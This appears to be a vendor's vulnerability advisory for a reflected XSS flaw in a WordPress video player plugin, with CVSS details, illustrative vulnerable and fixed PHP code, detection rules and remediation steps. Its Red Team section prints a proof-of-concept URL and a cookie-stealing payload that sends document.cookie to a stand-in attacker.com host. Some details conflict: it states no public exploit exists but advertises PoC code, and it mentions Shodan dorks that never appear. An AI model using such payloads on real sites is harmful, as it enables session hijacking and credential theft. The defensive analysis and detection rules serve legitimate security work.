CVE-2025-48170
Executive Summary
CVE-2025-48170 is a reflected Cross-Site Scripting (XSS) vulnerability in the LambertGroup Universal Video Player - Addon for WPBakery Page Builder (plugin slug: lbg-universal-video-player-addon-visual-composer). This WordPress plugin, up to and including version 3.2.1, fails to properly neutralize user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. The vulnerability is triggered when a victim clicks a crafted link, leading to script execution in the context of the victim's browser session. With a CVSS score of 7.1 (High), this flaw poses a significant risk to WordPress sites using this plugin, enabling session hijacking, credential theft, and defacement. No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low active exploitation at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Since the plugin is part of the WordPress ecosystem, site administrators must ensure they are using the latest version and monitor for updates from LambertGroup. The lack of a patch increases supply chain risk, as compromised sites can be used to distribute malware or phishing pages.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Base Score: 7.1 (High)
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: Required (UI:R) – The victim must click a malicious link.
- Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited data exposure possible.
- Integrity Impact: Low (I:L) – Some content modification possible.
- Availability Impact: Low (A:L) – Minor disruption possible.
Threat Level: High. Reflected XSS can be used in targeted phishing campaigns, leading to account takeover or malware distribution.
Deep Dive & Mechanics
The vulnerability resides in the lbg-universal-video-player-addon-visual-composer plugin, which extends WPBakery Page Builder with video player functionality. The plugin fails to sanitize or escape user-supplied input before reflecting it in the HTTP response. Specifically, parameters passed via GET requests (e.g., ?video_id=...) are echoed back without proper encoding, allowing an attacker to inject HTML and JavaScript.
Attack Flow:
- An attacker crafts a malicious URL containing a JavaScript payload in a vulnerable parameter.
- The victim clicks the link (e.g., via email or social engineering).
- The plugin processes the request and reflects the payload in the response without sanitization.
- The victim's browser executes the injected script, which can steal cookies, redirect to malicious sites, or perform actions on behalf of the victim.
Root Cause: The plugin uses functions like echo $_GET['param'] or similar without applying esc_html(), esc_js(), or wp_kses() WordPress sanitization functions.
Vulnerable vs. Patched Code
Since no patch is available, the following illustrates the vulnerable pattern and a hypothetical fix.
Vulnerable Code (PHP):
<?php
// In a shortcode or template file
$video_id = $_GET['video_id'];
echo '<div id="video-' . $video_id . '">Player</div>';
?>
Patched Code (Hypothetical):
<?php
$video_id = isset($_GET['video_id']) ? sanitize_text_field($_GET['video_id']) : '';
echo '<div id="video-' . esc_attr($video_id) . '">Player</div>';
?>
The fix uses sanitize_text_field() to strip malicious content and esc_attr() to safely output the value in an HTML attribute context.
Exploitation & Lab Setup
Red Team (Offensive)
Proof-of-Concept (PoC) URL:
http://target-site.com/?video_id=<script>alert('XSS')</script>
Advanced Payload (Cookie Stealing):
http://target-site.com/?video_id=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
Lab Setup:
- Install WordPress with WPBakery Page Builder and the vulnerable plugin (version 3.2.1).
- Create a page using the Universal Video Player element.
- Access the page with the malicious
video_idparameter. - Observe the JavaScript execution in the browser.
Blue Team (Defensive)
Detection:
- Monitor web server logs for requests containing
<script>tags oronerror/onloadevent handlers in query parameters. - Use WAF rules to block reflected XSS patterns (e.g.,
<script,javascript:).
Mitigation:
- Temporarily disable the plugin until a patch is released.
- Implement a Web Application Firewall (WAF) with XSS protection.
- Apply input validation and output encoding at the application level.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP GET requests with
video_idparameter containing<script>,%3Cscript%3E, oronerror=patterns. - Outbound connections to attacker-controlled domains from the victim's browser.
- HTTP GET requests with
File IOCs:
- Modified plugin files (e.g.,
lbg-universal-video-player-addon-visual-composer/directory) containing injected code.
- Modified plugin files (e.g.,
Log IOCs:
- Web server logs showing repeated requests with suspicious query strings targeting the plugin's endpoints.
Detection Engineering
YARA Rule
rule CVE_2025_48170_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts targeting Universal Video Player plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-48170"
strings:
$xss1 = /video_id=.*<script/i
$xss2 = /video_id=.*%3Cscript%3E/i
$xss3 = /video_id=.*onerror=/i
$xss4 = /video_id=.*onload=/i
condition:
any of them
}
Sigma Rule
title: Reflected XSS Attempt Against Universal Video Player Plugin
id: 8f3a2b1c-5d6e-7f8a-9b0c-1d2e3f4a5b6c
status: experimental
description: Detects reflected XSS attempts in HTTP requests targeting the vulnerable plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: 'video_id='
cs-uri-query|contains|all:
- '<script'
- '>'
condition: selection
falsepositives:
- Legitimate use of script tags in query strings (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-48170 Reflected XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"video_id="; http_uri; pcre:"/video_id=.*(<script|%3Cscript%3E|onerror=|onload=)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released by LambertGroup.
- Implement a WAF with rules to block reflected XSS patterns.
- Educate users about phishing links and the risks of clicking untrusted URLs.
Long-Term Fix:
- Apply input validation and output encoding in all plugin templates and shortcodes.
- Use WordPress built-in functions like
esc_html(),esc_attr(), andwp_kses(). - Regularly update plugins and monitor for security advisories.
Workaround:
- If the plugin cannot be disabled, restrict access to the vulnerable page via
.htaccessor a security plugin.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.